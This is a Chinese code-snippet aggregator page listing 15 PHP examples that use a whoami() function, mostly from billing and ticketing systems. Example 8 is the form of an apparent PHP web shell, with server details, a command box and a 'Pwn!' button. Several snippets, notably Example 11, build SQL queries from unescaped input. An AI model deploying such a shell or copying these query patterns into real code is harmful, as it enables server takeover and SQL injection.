本文整理汇总了PHP中whoami函数的典型用法代码示例。如果您正苦于以下问题:PHP whoami函数的具体用法?PHP whoami怎么用?PHP whoami使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了whoami函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: zb_CardCreate
/**
* Creates card in database with some serial and price
*
* @param int $serial
* @param float $cash
*
* @return void
*/
function zb_CardCreate($serial, $cash)
{
$admin = whoami();
$date = curdatetime();
$query = "INSERT INTO `cardbank` (`id` ,`serial` , `cash` , `admin` , `date` , `active` , `used` , `usedate` , `usedlogin` , `usedip`) " . "VALUES (NULL , '" . $serial . "', '" . $cash . "', '" . $admin . "', '" . $date . "', '1', '0', NULL , '', NULL);";
nr_query($query);
}
示例2: ms_MassSendMessage
function ms_MassSendMessage($users_arr, $message)
{
global $alter_conf;
if (!empty($users_arr)) {
foreach ($users_arr as $eachuser) {
if (!$alter_conf['MASSSEND_SAFE']) {
ms_SendMessage($eachuser, $message);
} else {
ms_TicketCreate('NULL', $eachuser, $message, 'NULL', whoami());
$newid = simple_get_lastid('ticketing');
ms_TicketSetDone($newid);
}
}
log_register("MASSEND (" . sizeof($users_arr) . ")");
}
}
示例3: zb_CashAdd
/**
* Add some cash to user login in stargazer, and creates payment record in registry
*
* @global object $billing Pre-initialized low-level stargazer handlers
* @param string $login Existing users login
* @param float $cash Amount of money to put/set on user login
* @param string $operation Operation type: add, correct,set,mock
* @param int $cashtype Existing cashtype ID for payment registry
* @param string $note Payment notes
*
* @return void
*/
function zb_CashAdd($login, $cash, $operation, $cashtype, $note)
{
global $billing;
$login = mysql_real_escape_string($login);
$cash = mysql_real_escape_string($cash);
$cash = preg_replace("#[^0-9\\-\\.]#Uis", '', $cash);
$cash = trim($cash);
$cashtype = vf($cashtype);
$note = mysql_real_escape_string($note);
$date = curdatetime();
$balance = zb_CashGetUserBalance($login);
$admin = whoami();
$noteprefix = '';
/**
* They wanna fuck you for free and explode ya
* I gonna waiting no time let me show ya
* You gonna be kidding Couse nothing is happening
* You wanna be happy So follow me
*/
switch ($operation) {
case 'add':
$targettable = 'payments';
$billing->addcash($login, $cash);
log_register('BALANCEADD (' . $login . ') ON ' . $cash);
break;
case 'correct':
$targettable = 'paymentscorr';
$billing->addcash($login, $cash);
log_register('BALANCECORRECT (' . $login . ') ON ' . $cash);
break;
case 'set':
$targettable = 'payments';
$billing->setcash($login, $cash);
log_register("BALANCESET (" . $login . ') ON ' . $cash);
$noteprefix = 'BALANCESET:';
break;
case 'mock':
$targettable = 'payments';
log_register("BALANCEMOCK (" . $login . ') ON ' . $cash);
$noteprefix = 'MOCK:';
break;
}
//push dat payment to payments registry
$query = "INSERT INTO `" . $targettable . "` (\n `id` ,\n `login` ,\n `date` ,\n `admin` ,\n `balance` ,\n `summ` ,\n `cashtypeid` ,\n `note`\n )\n VALUES (\n NULL , '" . $login . "', '" . $date . "', '" . $admin . "', '" . $balance . "', '" . $cash . "', '" . $cashtype . "', '" . ($noteprefix . $note) . "'\n );";
nr_query($query);
}
示例4: pleac_Determining_Current_Function_Name
function pleac_Determining_Current_Function_Name()
{
// AFAICT there is no means of obtaining the name of the currently executing
// function, or, for that matter, perform any stack / activation record,
// inspection. It *is* possible to:
//
// * Obtain a list of the currently-defined functions ['get_defined_functions']
// * Check whether a specific function exists ['function_exists']
// * Use the 'Reflection API'
//
// So, to solve this problem would seem to require adopting a convention where
// a string representing the function name is passed as an argument, or a local
// variable [perhaps called, '$name'] is so set [contrived, and of limited use]
function whoami()
{
$name = 'whoami';
echo "I am: {$name}\n";
}
// ------------
whoami();
}
示例5: web_PaymentsByUser
/**
* Returns list of previous user payments
*
* @param string $login
* @return string
*/
function web_PaymentsByUser($login)
{
global $ubillingConfig;
$allpayments = zb_CashGetUserPayments($login);
$alter_conf = $ubillingConfig->getAlter();
$alltypes = zb_CashGetAllCashTypes();
$allservicenames = zb_VservicesGetAllNamesLabeled();
$total_payments = "0";
$curdate = curdate();
$deletingAdmins = array();
$editingAdmins = array();
$iCanDeletePayments = false;
$iCanEditPayments = false;
$currentAdminLogin = whoami();
//extract admin logins with payments delete rights
if (!empty($alter_conf['CAN_DELETE_PAYMENTS'])) {
$deletingAdmins = explode(',', $alter_conf['CAN_DELETE_PAYMENTS']);
$deletingAdmins = array_flip($deletingAdmins);
}
//extract admin logins with date edit rights
if (!empty($alter_conf['CAN_EDIT_PAYMENTS'])) {
$editingAdmins = explode(',', $alter_conf['CAN_EDIT_PAYMENTS']);
$editingAdmins = array_flip($editingAdmins);
}
//setting editing/deleting flags
$iCanDeletePayments = isset($deletingAdmins[$currentAdminLogin]) ? true : false;
$iCanEditPayments = isset($editingAdmins[$currentAdminLogin]) ? true : false;
$cells = wf_TableCell(__('ID'));
$cells .= wf_TableCell(__('IDENC'));
$cells .= wf_TableCell(__('Date'));
$cells .= wf_TableCell(__('Payment'));
$cells .= wf_TableCell(__('Balance before'));
$cells .= wf_TableCell(__('Cash type'));
$cells .= wf_TableCell(__('Payment note'));
$cells .= wf_TableCell(__('Admin'));
$cells .= wf_TableCell(__('Actions'));
$rows = wf_TableRow($cells, 'row1');
if (!empty($allpayments)) {
foreach ($allpayments as $eachpayment) {
if ($alter_conf['TRANSLATE_PAYMENTS_NOTES']) {
$eachpayment['note'] = zb_TranslatePaymentNote($eachpayment['note'], $allservicenames);
}
//hightlight of today payments
if ($alter_conf['HIGHLIGHT_TODAY_PAYMENTS']) {
if (ispos($eachpayment['date'], $curdate)) {
$hlight = 'paytoday';
} else {
$hlight = 'row3';
}
} else {
$hlight = 'row3';
}
if (!empty($alter_conf['DOCX_SUPPORT']) && !empty($alter_conf['DOCX_CHECK'])) {
$printcheck = wf_Link('?module=printcheck&paymentid=' . $eachpayment['id'], wf_img('skins/printer_small.gif', __('Print')), false);
} else {
$printcheck = wf_tag('a', false, '', 'href="#" onClick="window.open(\'?module=printcheck&paymentid=' . $eachpayment['id'] . '\',\'checkwindow\',\'width=800,height=600\')"');
$printcheck .= wf_img('skins/printer_small.gif', __('Print'));
$printcheck .= wf_tag('a', true);
}
//payments deleting controls
if ($iCanDeletePayments) {
$deleteControls = wf_JSAlert('?module=addcash&username=' . $login . '&paymentdelete=' . $eachpayment['id'], wf_img('skins/delete_small.png', __('Delete')), __('Removing this may lead to irreparable results')) . ' ';
} else {
$deleteControls = '';
}
//payments editing form
if ($iCanEditPayments) {
$editControls = wf_modalAuto(wf_img_sized('skins/icon_edit.gif', __('Edit'), '10'), __('Edit'), web_PaymentEditForm($eachpayment), '') . ' ';
} else {
$editControls = '';
}
$cells = wf_TableCell($eachpayment['id']);
$cells .= wf_TableCell(zb_NumEncode($eachpayment['id']));
$cells .= wf_TableCell($eachpayment['date']);
$cells .= wf_TableCell($eachpayment['summ']);
$cells .= wf_TableCell($eachpayment['balance']);
$cells .= wf_TableCell(@__($alltypes[$eachpayment['cashtypeid']]));
$cells .= wf_TableCell($eachpayment['note']);
$cells .= wf_TableCell($eachpayment['admin']);
$cells .= wf_TableCell($deleteControls . $editControls . $printcheck);
$rows .= wf_TableRow($cells, $hlight);
$total_payments = $total_payments + $eachpayment['summ'];
}
}
$result = wf_TableBody($rows, '100%', '0', 'sortable');
$result .= __('Total payments') . ': ' . wf_tag('b') . abs($total_payments) . wf_tag('b') . wf_tag('br');
return $result;
}
示例6: change_activity
function change_activity($Ticket_Number, $activity)
{
$last_activity = Ticket::get_ticket_activity_id($Ticket_Number);
if ($last_activity != $activity) {
$last_activity = Ticket::get_activity_name($last_activity);
$new_activity = Ticket::get_activity_name($activity);
$result = Ticket::change_activity_id($Ticket_Number, $activity);
$sender = whoami();
$comment = "activity changed from \\'{$last_activity}\\' to \\'{$new_activity}\\'";
add_task($Ticket_Number, $comment);
notify_change($Ticket_Number, $comment);
}
}
示例7: date_to_unixtime
$end_date_i = $_POST['end_date_i'];
$end_date = date_to_unixtime("{$end_date_d_m_y} {$end_date_h}:{$end_date_i}:00");
}
# NEEDS TO BE FIXED
$t_subject = '';
if (Security::is_action_allowed("imperson") and isset($_POST['t_from'])) {
$t_from = Security::sqlsecure($_POST['t_from']);
if ($t_from != whoami()) {
$t_subject = "(submitted by " . whatsmyname(whoami()) . ") : ";
}
} else {
$t_from = $GO_SECURITY->user_id;
}
$my_ticket->issuer = $t_from;
if (!isset($_POST['t_assigned'])) {
$t_assigned = whoami();
}
if (!isset($_POST['t_priority'])) {
$t_priority = 1;
}
if (!isset($_POST['project_id'])) {
$project_id = 1;
}
if (isset($_POST['t_status'])) {
$my_ticket->status_id = Security::sqlsecure($_POST['t_status']);
}
if (Security::is_action_allowed("set_assigned") and isset($_POST['t_assigned'])) {
$my_ticket->assigned_id = Security::sqlsecure($_POST['t_assigned']);
} else {
$my_ticket->assigned_id = $t_from;
}
示例8: OS
<form method="POST" action="">
<h2><center>~ Executer ~</h2></center><center><div class="box">
<strong><h4><u>OS</u> :</strong> <i><td style="width:60px; height:20px;"><?php
echo OS();
?>
</td></i></h4>
<strong><h4><u>IP</u> :</strong> <i><td style="width:60px; height:20px;"><?php
echo $_SERVER['SERVER_ADDR'];
?>
</td></i></h4>
<strong><h4><u>PHP Version</u> :</strong> <i><td style="width:60px; height:20px;"><?php
echo phpversion();
?>
</td></i></h4>
<strong><h4><u>User :</u> :</strong> <i><td style="width:60px; height:20px;"><?php
echo whoami();
?>
</td></i></h4>
<strong><h4><u>Dir</u> :</strong> <i><td style="width:60px; height:20px;"><?php
echo getcwd();
?>
</td></i></h4>
<strong><h4><u>SafeMode</u> :</strong><i><td style="width:60px; height:20px;"> <?php
echo SM();
?>
</td></i><br><br></h4>
<input type="submit" style="width:60px; height:20px;" name="info" value="phpinfo"/>
<input type="submit" style="width:60px; height:20px;" name="about" value="About"/>
<strong><h4><u>Cmd</u> :</strong> <input type="text" name="cmd" value="id" /><br><input type="submit" name="submit" style="width:60px; height:20px;" value="Pwn!"/></h4><br></center></div>
</form>
</body>
示例9: registerTemplateDB
/**
* register uploaded template into database
*
* @param $path string path to template file
* @param $displayname string template display name
* @param $public int is template accesible from userstats
*
* @return void
*/
protected function registerTemplateDB($path, $displayname, $public)
{
$path = mysql_real_escape_string($path);
$displayname = mysql_real_escape_string($displayname);
$public = vf($public, 3);
$admin = whoami();
$date = curdatetime();
$query = "INSERT INTO `docxtemplates` (`id`, `date`, `admin`, `public`, `name`, `path`) \n VALUES (NULL, '" . $date . "', '" . $admin . "', '" . $public . "', '" . $displayname . "', '" . $path . "');";
nr_query($query);
log_register("PLDOCS ADD TEMPLATE `" . $displayname . "`");
}
示例10: setMyLogin
/**
* Sets current administrator login into private prop
*
* @return void
*/
protected function setMyLogin()
{
$this->mylogin = whoami();
}
示例11: session_start
<?php
require_once "database.php";
session_start();
function whoami()
{
//name is similar to unix command
if (!isset($_SESSION['user'])) {
return NULL;
} else {
return $_SESSION['user'];
}
}
function ToDate($time)
{
return date('d/m/Y H:i;s', $time);
}
$USERNAME = whoami();
//$USERNAME = "admin"; //hard login, temporary user, to be removed
ConnectDb();
function GetId($username)
{
$query = "SELECT id FROM USERS WHERE username = '{$username}'";
$result = query($query);
$row = mysqli_fetch_array($result);
return $row[0];
}
$USERID = GetId($USERNAME);
示例12: rcms_parse_ini_file
<?php
$altcfg = rcms_parse_ini_file(CONFIG_PATH . 'alter.ini');
if ($altcfg['PER_CITY_ACTION']) {
if (cfr('CITYACTION')) {
$admin = whoami();
$form = wf_Link(PerCityAction::MODULE_NAME, __('Clear'), true, 'ubButton');
$form .= wf_tag('br');
$form .= wf_Link(PerCityAction::MODULE_NAME . "&action=debtors", __('Debtors'), false, 'ubButton');
$form .= wf_Link(PerCityAction::MODULE_NAME . "&action=city_payments", __('Payments per city'), false, 'ubButton');
$form .= wf_Link(PerCityAction::MODULE_NAME . "&action=usersearch", __('User search'), false, 'ubButton');
$form .= wf_Link(PerCityAction::MODULE_NAME . "&action=permission", __('Permission'), false, 'ubButton');
$form .= wf_Link(PerCityAction::MODULE_NAME . "&action=analytics", __('Analytics'), true, 'ubButton');
show_window(__('Actions'), $form);
$perCityAction = new PerCityAction();
if (isset($_GET['action'])) {
$action = $_GET['action'];
if ($action == 'debtors') {
if (cfr('REPORTCITYDEBTORS')) {
show_window(__('Payments'), $perCityAction->CitySelector($admin, $action));
if (isset($_GET['citysearch'])) {
$cityId = $_GET['citysearch'];
if ($perCityAction->CheckRigts($cityId, $admin)) {
$perCityAction->LoadAllData('', $cityId, 'debtors');
if (isset($_GET['ajax'])) {
die($perCityAction->ajaxData());
}
$report_name = __('Debtors by city') . wf_Link(PerCityAction::MODULE_NAME . "&action=debtors&citysel={$cityId}&printable=true", wf_img("skins/printer_small.gif"));
show_window(__($report_name), $perCityAction->PerCityDataShow());
} else {
show_error(__('You cant control this module'));
示例13: zb_UserRegisterLog
/**
* Puts userreg log entry into database
*
* @param string $login
*
* @return void
*/
function zb_UserRegisterLog($login)
{
$date = curdatetime();
$admin = whoami();
$login = vf($login);
$address = zb_AddressGetFulladdresslist();
$address = $address[$login];
$address = mysql_real_escape_string($address);
$query = "INSERT INTO `userreg` (`id` ,`date` ,`admin` ,`login` ,`address`) " . "VALUES (NULL , '" . $date . "', '" . $admin . "', '" . $login . "', '" . $address . "');";
nr_query($query);
}
示例14: CText
}
}
}
if (isset($login_error_message)) {
$data = new CText($login_error_message);
}
} else {
/**
* Negotiate login page language
*/
Translator::loadSupportedLanguagesInSession();
$supported_languages = Translator::getSupportedLanguages();
$login_page_language_code = Translator::negotiateLoginPageLanguage($lang_get);
$_SESSION['sess_user_language'] = $login_page_language_code;
$form_action = HTTP_ROOT_DIR;
$form_action .= '/' . whoami() . '.php';
$data = UserModuleHtmlLib::loginForm($form_action, $supported_languages, $login_page_language_code, $login_error_message);
$registration_action = HTTP_ROOT_DIR . '/browsing/registration.php';
$cod = FALSE;
$registration_data = new UserRegistrationForm($cod, $registration_action);
// $form = new UserRegistrationForm();
// $data = $form->render();
}
$help = translateFN('Per poter proseguire, è necessario che tu sia un utente registrato.');
$title = translateFN('Richiesta di autenticazione');
$registrationDataHtml = '';
if (is_object($registration_data)) {
$registrationDataHtml = $registration_data->getHtml();
}
$layout_dataAr['JS_filename'] = array(JQUERY, JQUERY_MASKEDINPUT, JQUERY_NO_CONFLICT);
$layout_dataAr['CSS_filename'] = array(ROOT_DIR . '/layout/' . $_SESSION['sess_userObj']->template_family . '/css/main/index.css');
示例15: zb_PrintCheck
/**
* Renders printable HTML sales slip
*
* @param int $paymentid
* @return string
*/
function zb_PrintCheck($paymentid)
{
$paymentdata = zb_PaymentGetData($paymentid);
$login = $paymentdata['login'];
$templatebody = zb_PrintCheckLoadTemplate();
$allfioz = zb_UserGetAllRealnames();
$alladdress = zb_AddressGetFullCityaddresslist();
$useraddress = $alladdress[$login];
$agent_data = zb_AgentAssignedGetDataFast($login, $useraddress);
$cassnames = zb_PrintCheckLoadCassNames();
$cday = date("d");
$cmonth = date("m");
$month_array = months_array();
$cmonth_name = $month_array[$cmonth];
$cyear = curyear();
$morph = new UBMorph();
//forming template data
@($templatedata['{PAYID}'] = $paymentdata['id']);
@($templatedata['{PAYIDENC}'] = zb_NumEncode($paymentdata['id']));
@($templatedata['{PAYDATE}'] = $paymentdata['date']);
@($templatedata['{PAYSUMM}'] = $paymentdata['summ']);
@($templatedata['{PAYSUMM_LIT}'] = $morph->sum2str($paymentdata['summ']));
// omg omg omg
@($templatedata['{REALNAME}'] = $allfioz[$login]);
@($templatedata['{BUHNAME}'] = 'а відки я знаю?');
@($templatedata['{CASNAME}'] = $cassnames[whoami()]);
@($templatedata['{PAYTARGET}'] = 'Оплата за послуги / ' . $paymentdata['date']);
@($templatedata['{FULLADDRESS}'] = $useraddress);
@($templatedata['{CDAY}'] = $cday);
@($templatedata['{CMONTH}'] = rcms_date_localise($cmonth_name));
@($templatedata['{CYEAR}'] = $cyear);
@($templatedata['{DAYPAYID}'] = zb_PrintCheckGetDayNum($paymentdata['id'], $paymentdata['date']));
//contragent full data
@($templatedata['{AGENTEDRPO}'] = $agent_data['edrpo']);
@($templatedata['{AGENTNAME}'] = $agent_data['contrname']);
@($templatedata['{AGENTID}'] = $agent_data['id']);
@($templatedata['{AGENTBANKACC}'] = $agent_data['bankacc']);
@($templatedata['{AGENTBANKNAME}'] = $agent_data['bankname']);
@($templatedata['{AGENTBANKCODE}'] = $agent_data['bankcode']);
@($templatedata['{AGENTIPN}'] = $agent_data['ipn']);
@($templatedata['{AGENTLICENSE}'] = $agent_data['licensenum']);
@($templatedata['{AGENTJURADDR}'] = $agent_data['juraddr']);
@($templatedata['{AGENTPHISADDR}'] = $agent_data['phisaddr']);
@($templatedata['{AGENTPHONE}'] = $agent_data['phone']);
//parsing result
$result = zb_ExportParseTemplate($templatebody, $templatedata);
return $result;
}